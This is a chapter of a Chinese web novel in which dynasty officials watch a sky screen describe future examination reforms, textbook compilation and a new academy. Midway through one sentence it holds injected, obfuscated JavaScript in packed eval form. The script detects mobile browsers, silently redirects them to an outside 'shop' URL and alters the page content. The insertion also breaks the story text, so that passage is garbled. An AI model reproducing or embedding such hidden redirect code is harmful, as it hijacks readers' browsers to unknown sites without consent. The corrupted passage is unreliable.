当然这个时候实行的还是旧制,新制的实行还需准备。生动形象诠释了天下英雄如过江之鲫,这官你不做,自有无数人抢破头来做。】 【这一手,不仅趁机清理了一大批迂腐不堪、阻碍改革的旧派儒生,将朝廷要害职位换上了锐意进取的少壮派与心腹,更借此机会,将那位未来的股肱之臣——明臻,一举推上了吏部侍郎的关键位置,执掌官员铨选之大权!此乃一箭三雕之绝策!】 那些原本还存着抵触心思的官员,此刻只剩下遍体生寒。他们仿佛已经看到,未来的自己若选择对抗,不仅会轻易地被抛弃、被取代,更会亲手将政敌送上权力的快车道! 对于在座诸位的反应,黎昭表示,顺我者昌,逆我者......自有后来人。这条未来的道路,虽布满荆棘,但清扫荆棘的铁腕与策略,天幕已然演示得清清楚楚。相信不还会有人那么头铁吧。 【当然,圣祖也绝非任人唯亲、胡乱提拔。这位明臻明大人,可是有着实打实的过硬履历!他于元和二十六年便已进士及第,更是力压群雄,三元及第,夺得了当年的状元桂冠! 只可惜,因其曾在科举舞弊案中出头,触怒了一些人,使得他这个状元郎并未得到高祖的重用。即便出身名门,依旧被投闲置散,仅于礼部担任了一微末吏员。 然,是金子总会发光!这对未来的明相而言,并非冷板凳,而是绝佳的蛰伏与历练之机! 他凭借自身卓绝的才能与敏锐的洞察力,很快便赢得了每一任上峰的赏识与举荐。更借此机会,辗转结交各部长官,一年转调一部!他就这样,于数年之间,将吏、户、礼、兵、刑、工六部的核心职能、运作流程乃至积弊隐忧,摸了个通透!】 “一年一部,遍览六部……” 有官员忍不住低声惊呼,倒吸一口凉气。这需要何等惊人的学习能力、适应能力与人脉经营能力?!这已非简单的状元之才,这是经世济国的实操之才! 【正是拥有如此扎实而全面的历练基础,加之圣祖的绝对信任,明大人才得以在风云际会之时,一举坐上吏部侍郎之位,执掌天下官员的铨选大权!此绝非幸进,实至名归!】 22. 上位要烧三把火 天幕对明臻实至名归的盛赞犹在耳边,然而,朝堂之上根深蒂固的等级观念与晋升规则,却让这份赞誉在不少官员心中打了个折扣。 即使真的靠真才实学轮转了六部,但从底层的从七品司务一下升迁至从三品的吏部侍郎,其间跨越了十余个官阶品级,简直是闻所未闻!擢升过骤,有违官常。 黎昭自然也感受到了这股潜流。他心中非但没有觉得这晋升有何不妥,反而为明臻感到一丝委屈。 若不是明臻替他出头,得罪了人,以他三元及第的状元身份,再加上有明相背书的家世,本该是跨马游街、直入翰林,前途一片光明,何至于被发配去坐那冷板凳,如今升迁还要受人非议! 这般想着,他一方面怪自己,一方面又忍不住带着点幽怨,悄悄抬眼瞥向御座上的皇帝——老爹太小气了,明臻这么好的一个状元郎,堪比文曲星下凡,居然就这么闲置了,太不惜才了。 幸好天幕提前到来,明臻还未科考,这一次他会是京城里最风风光光的状元郎。不对,他老爹应该不会小心眼到拿如今未发生之事来迁怒明臻吧? 皇帝何等敏锐,正好将黎昭那“大不敬”的眼神逮个正着。知子莫若父,他瞬间就明白了这小子肚子里在编排自己什么。当下便没好气地回瞪了过去,这儿子不能要了,哪有这么胳膊肘往外拐的。 从天幕的言语中也知道,齐王案牵连甚广,自己身为皇帝,被逼得赐死亲子,心中岂能不痛不愤?但民意汹汹,为了朝局稳定,他只能忍痛处置。 在那等情形下,明臻虽是仗义执言,但在他眼中,无异于是逼死皇子的“帮凶”之一。不把他逐出官场都算是看在他父亲右相的的份上,格外开恩了。还想让他把人放在眼皮子底下,和颜悦色、委以重任?简直是异想天开! 越想越气,目光扫过位于文官队列前列,始终眼观鼻、鼻观心的右相。没看到右相这个当爹的对此都没有异议,小兔崽子,就知道坑老子。 明臻听着天幕对自己坐冷板凳的评判,清俊的面容上却无波无澜,这个结果在预料之中。 他是最合适的人选,黎昭此前一直没有夺位之心,一旦出面即使不想也必然会被卷入夺嫡风云中,他们为此还起了争执。明臻目光悠长,似是穿透了这喧嚣天幕,落在了三个月前,秋意萧瑟的午后…… 瑞王府,秋风卷着枯叶,打着旋儿掠过庭院,百禄殿再次传来的争吵声惊起了几只正为南飞忙碌的雀鸟。 “不行!明臻,这届科考你要下场,绝不能强出头!”黎昭眉头紧锁,“你若在舞弊案中当了那个领头人,不管最后结果如何,我父皇必定对你心生芥蒂。 那徐通早已和齐王做了交易,以我对他的了解,流言一起,他自会露出马脚。我的名声反正已经那样了,到时候就说我看徐通不顺眼,故意找茬。凭着我的皇子身份和父皇的宠爱,后续我只要一问三不知,装傻充愣,不会有什么大事的。” “殿下,正因为你是皇子,才绝不能出面!”明臻的声音依旧温和,“我们要要借力打力,借的是天下士子之心力,此事便不能有丝毫党争的嫌疑。 你无法代表千万寒窗苦读的学子,他们不会因一位皇子的仗义执言而产生真正的共鸣。一旦有人搅混水,将此事定性为皇子倾轧,转移焦点,我们便前功尽弃,也辜负了那些蒙冤之人。而我,本身就是参考的学子,由我来带头,合乎情理,更能引起共鸣。” “我说了,不行!”黎昭猛地背过身去,声音里带着罕见的执拗。 明臻看着他紧绷的背影,眸光微软,轻声唤道:“阿昭。” 黎昭身体几不可察地一颤。 明臻缓缓道:“想想那些十年寒窗,却因权贵舞弊而前程尽毁的学子。” 果然,黎昭最是心软。他肩膀垮了下来,声音也低了下去,带着担忧:“那万一父皇真的迁怒于你,将你发配出京怎么办?” 听到他语气松动,明臻唇角牵起一抹自信的笑意:“这不是还有殿下您吗?届时,少不得要劳烦阿昭为我多方周转了。实在不行……”他顿了顿,语气里带上了一丝不易察觉的、近乎玩笑的试探,“就只好麻烦殿下,屈尊陪我一同出京上任了。” 以他明臻之能,从不担心自己的仕途会永远沉寂。他最终用这份自信与看似轻松的承诺,说服了那个为他着想的少年皇子。 思绪收回,明臻心下微叹。天幕将未来种种和盘托出,他得想想之后怎么安慰阿昭了。 【圣祖这一手‘你走你的,我换我的’,可真是让那些请假的朝臣们彻底傻眼了。他们这才惊觉,陛下是真不在乎他们撂挑子啊! 你跟他玩文的,他直接给你换人。你想动武?除非是项上人头不想要了。皇权平稳过渡,禁军与京卫营可不是摆设。 加之科举改革主要触及文官,武举本身考的就是实打实的武功和兵法,武将们乐得看文官吃瘪,根本拉拢不动。】 这番分析,让当下朝堂中那些原本还心存侥幸、想着借集体力量施压的官员瞬间共情了未来的自己。文的不行,武的不敢,还能如何?难道这官真不做了? 【怎么办?总不能一直就这样僵持下去,脑子一转,就有聪明人开始服软了。有人就想了个绝妙的台阶——他要帮陛下出书!陛下您不是要加试吗?那总得有统一的官方教材吧?微臣不才,愿毛遂自荐,为您编撰教材。 圣祖一听,乐了,这真是瞌睡了有人送枕头。当即表示:行啊,爱卿既有此心,便官复原职,着手去办吧! 哈哈,说来也巧,这位机智的聪明人,就是后来接任的吏部尚书,咱们前边提到的那位‘半块牌匾’的获得者田圆】 唰—— 当下,无数道目光,混杂着惊愕、鄙夷、以及一丝不易察觉的羡慕,齐刷刷地射向了刚从吏部侍郎擢升为尚书的田圆,心中无不唾弃:叛徒!软骨头! 而被点名的田尚书,顶着那张人如其名、圆润富态的脸,面对同僚们目光的洗礼,非但不恼,反而笑眯眯地回望过去,神态自若。在他心中,为官之道,重在“圆”通。明知不可行,还去和皇帝硬碰硬,那不是为儒学献身,那是自寻死路。识时务者,方为俊杰。 【有了田圆打头阵,其他人也纷纷效仿,想借着编书之名重回朝堂。只是咱们圣祖陛下,可不是什么人都收的滥好人。 也正因如此,才有了华国史上第一册系统化、独立成册的管理学典籍问世,主要著作者正是田圆,比西方国家早了数百年! 主播之前说圣祖一手创立了文学盛世的根源之一就在此,因为在这个时期,催生出了大量系统化的专业体系书籍与思想,为后世学术的蓬勃发展,奠定了坚实的基石。】 天幕这意思是,著书立说,流芳百世! 这八个字,如同带着千钧重量,狠狠砸在每一个文官的心头。这几乎是所有读书人梦寐以求的终极理想。他田圆,一个“叛徒”,竟能凭借这被视为不入流的实务之说,在后世的青史文脉中保留一席之地,其著作更被尊称为典籍! 先前那些对田圆“变节”行为不齿的目光,此刻已被巨大的羡慕甚至嫉妒所取代。若能参与此等盛事,名垂千古,那么暂时的政治站队,又算得了什么?一时间,看向田圆的目光复杂无比,但其中渴望与热切,已彻底压过了鄙夷。 许多原本坚定的反对派内心剧烈动摇。如果反对的最终结果是被时代无情地边缘化,而顺势而为,却能换来参与创造流传后世经典的机遇……这其中的利弊,已然清晰得令人心惊。 田圆本人那张圆脸笑得更加灿烂,仿佛能渗出水光。未来他不仅保住了官位,更获得了名垂青史的机会,这桩买卖,实在是做得太值了!他甚至颇为得意地环视一周,仿佛在说:“诸位,识时务者为俊杰啊。” 至于天幕中提及的“西方国家”,想来此时必是蛮荒未化之地。尽管此时的晟朝君臣对遥远的西方具体为何概念模糊,但天幕那句 “早于西方数百年” 所带来的优越感与文明自豪感,是实实在在的。 皇帝眼中精光闪烁,嘴角难以抑制地微微上扬。西方“夷狄”之地,文明未开化之所,其学问竟晚于我大晟数百年? 这天幕不仅预示内政革新,更昭示着大晟在文治上,亦将远迈海外,睥睨寰宇!这是圣祖的功绩,亦是整个晟朝江山的荣耀,这极大地满足了他作为天朝上国君主的骄傲。 群臣同样与有荣焉,一种“我朝乃天下文明之中心”的集体认知得以强化。之前对新政的些许疑虑,在这种宏大的文明叙事与个人青史留名的诱惑面前,顿时显得苍白而微不足道了。若能参与缔造这远超外邦的文明成果,岂不是身为臣子的无上荣光? 部分人看向黎昭的目光,充满了热切与折服。这位殿下不仅是天幕认定的君主,更是能带领帝国走向强盛、开创前所未有之局面的明主。 紧跟瑞王不仅有官做,更有千古留名的可能。而圣祖表现出的政治手腕也让他们确信,这是一位能成事、也能让追随者获得超额回报的雄主。 而在这一片激荡的情绪中,黎昭作为穿越者,心情却更为复杂澎湃。他感觉心脏像是被一只无形的手紧紧攥住,又猛地松开,奔涌出滚烫的血液。 他感到自豪,更有一丝历史的恍然。他曾在另一个时空听闻一种论调:为何许多系统化的专业知识著作起源于西方?是因为西方人更聪明吗? 不,不是的。 穿越至此,他深刻感受着这片土地上古人的智慧与深邃。并非不聪明,而是古代的知识体系大多融于庞杂的学说思想之中,侧重于服务国家治理与个人修养,讲究的是经世致用、微言大义,使得许多宝贵知识以分散的、经验诀窍式的形态存在,未能普遍升华为高度抽象化、逻辑严密的理论系统。 而他,他们,未来做的,就是亲手为这条全新的道路打下第一块基石。 一股前所未有的使命感席卷了他。他甚至能“听”到历史长河在此处轰然转向的奔流之声。 他未曾想到,自己未来推动科举改革的举动,竟会成为撬动这套系统理论成型的关键支点!这真是一种无法言说的、震撼人心的伟业。 他可以站在巨人的肩膀上,在这历史的关键岔路口,凭借自己的双手,去推动文明实现一次飞跃! 或许未来的华国学子们,在学到专业课时,导论部分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628051|187971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会郑重写道:“本学科体系奠基之作,源自我国古代《XX》典籍……” 他不知该怎样去分享这份激越的心情,去分享这份洞见历史脉络的震撼与舍我其谁的使命感,他想马上见到明臻,想抓住他的手,告诉他:“我们正在创造的,远不止一个盛世! 此刻的明臻,亦在宣纸上缓缓写下“系统化”、“独立成册”,“西方国家”这几个关键词。他不知古今表达是否存在差异,但他是否可以理解为——一套全新的、足以传承后世、自成体系的学问框架,将在他们手中亲手建立起来?这其中所蕴含的意义,早已远超一次简单的政策调整,这是在与时间角力。 【而圣祖的第三道圣旨,则是开创文学盛世的另一个根源——兴办开明学宫。理由很充分:既然科举都要加试专业科目了,那总得有个地方系统性地教授这些学问吧?】 此时的众臣,还沉浸在“著书立说,流芳百世”的激荡心情中未能完全平复,思维几乎与天幕的叙述同步。 嗯,没问题,非常没问题!太学、国子监教的都是圣贤经典,自然需要再办一所专门的学府来教授这些加试的实学。 若有必要,他们甚至愿意亲自去讲学,就讲自己未来编纂的典籍,美哉美哉!流芳百世,乐哉乐哉!几乎所有人都顺着这个思路,想象着一派和谐的教育革新图景。 然而,天幕接下来的话,瞬间打破了他们美好的幻想。 【这可给刚刚经历了一波三折、心有余悸的官员们吓坏了!】天幕的语气带着一丝同情般的调侃。 【群臣抓耳挠腮,这开明学宫的名头,听着怎么那么像稷下学宫?那种百家争鸣、思想不受管控的地方?!前车之鉴还历历在目,他们不敢再硬顶,只好找了一位德高望重的老臣,斟酌着用词,小心翼翼地去问陛下:“不知......陛下欲如何兴办此学宫?” 圣祖的回答言简意赅,却石破天惊:“召诸子百家,工巧技艺之师,齐聚学宫,不拘一格,开府授课。” 简单来说就是:朕既要学术型人才,也要技术型人才!学宫面向十二至十八岁的少年招生,在这里,你可以探讨学术得到思想升华,若不想升华也没关系,你可以学到安身立命、赖以吃饭的实在技艺!这可给儒家和世家给气坏了。】 “诸子百家?!工巧技艺?!” 有老臣几乎要晕厥过去,手指颤抖。这意味着什么?意味着儒家一家独尊的地位将受到前所未有的挑战!墨家、法家、农家、乃至那些被视为“奇技淫巧”的工匠之术,都将登堂入室,与圣人学说并列于天子倡办的学宫之中! “这简直是礼崩乐坏!斯文扫地!” 世家出身的官员更是面色惨白。他们赖以维系家族地位的,除了经学传承,就是对知识和高深学问的垄断。 如今,圣祖竟要将这些“贱业”和“异端邪说”统统纳入官学,面向平民子弟开放!这无疑是在刨他们世家统治根基! 刚才还做着“著书立说、桃李满天下”美梦的官员们,他们终于意识到,圣祖的改革,绝非简单的政策修补,而是要重塑整个社会,这比单纯的科举加试,要激进和深刻千万倍! 儒家和世家大族,在这一刻,感到了真正的、触及灵魂的恐惧与愤怒。之前的反对或许还带着利益之争,而此刻,已是道统之争! 皇帝端坐,听着天幕所述方才因著书立说和文明领先而泛起的欣然之色渐渐敛去,取而代之的是一抹深沉的凝重,眉头几不可察地蹙起。 太激进了。 即便未来小十,真有重新平衡百家、引入实务人才的打算,也绝不该如此直接地打出“学宫”的名号,更不该将“诸子百家”与“工巧技艺”并提,如此大张旗鼓。 儒家传承千年,早已不仅仅是思想学说,它与地方宗族、世家大族盘根错节,早已难分彼此。这棵大树的根系,已经深深扎进了这片土地的每一个角落。 历代并非没有雄才大略的君主想不到儒家对皇权的把控,试图引入其他思想制衡儒家,但君权神授,伦理纲常。儒家思想的根基与皇权亦是深深捆绑,若意图强行分割,其结果往往是两败俱伤,动摇国本。 其次若任由百家争鸣,届时思想混乱,民间失去统一的道德准绳,皇权的神圣性又将置于何地? 他看向下方虽面色平静,但眼神中已透出坚定之色的黎昭,心中思绪翻涌。此子有打破陈规、开创盛世之志,朕心甚慰。但火候太过,反而焦糊。 他欣赏儿子的魄力,却也担忧其年轻气盛,缺乏足够的政治耐心与迂回策略,还得再想想办法。 皇帝的沉默与紧蹙的眉头,被不少老成持重的大臣看在眼里。他们立刻意识到,陛下对此策亦是心存疑虑的!这让他们在恐慌中,仿佛抓住了一根救命稻草。 【不,不能简单说是气坏了,而是遭到了空前的、激烈的抵抗!甚至让之前对“科举自检”和“分科取士”都未明确表态的左相,都亲自下场,力谏反对。这个时期的左相仍是那位助高祖平定天下的朱相,一代开国元老,可见圣祖的“过分”。 而就在这僵持之际,我们的探花出场了,也就是后来开明学宫的第一任校长梅枫年。】